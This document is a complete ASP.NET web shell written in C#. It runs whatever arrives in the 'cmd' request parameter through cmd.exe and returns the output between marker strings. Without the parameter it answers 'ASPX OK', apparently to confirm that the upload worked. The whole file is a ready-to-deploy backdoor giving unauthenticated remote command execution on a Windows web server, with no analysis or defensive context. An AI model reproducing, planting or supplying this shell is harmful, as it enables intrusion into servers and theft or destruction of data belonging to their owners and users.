<%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %> <% if(Request["cmd"] != null) { Response.ContentType = "text/plain"; Response.Write("ASPX_SMP_START\n"); ProcessStartInfo psi = new ProcessStartInfo(); psi.FileName = "cmd.exe"; psi.Arguments = "/c " + Request["cmd"]; psi.RedirectStandardOutput = true; psi.RedirectStandardError = true; psi.UseShellExecute = false; Process p = Process.Start(psi); Response.Write(p.StandardOutput.ReadToEnd()); Response.Write(p.StandardError.ReadToEnd()); Response.Write("\nASPX_SMP_END"); } else { Response.Write("ASPX OK"); } %>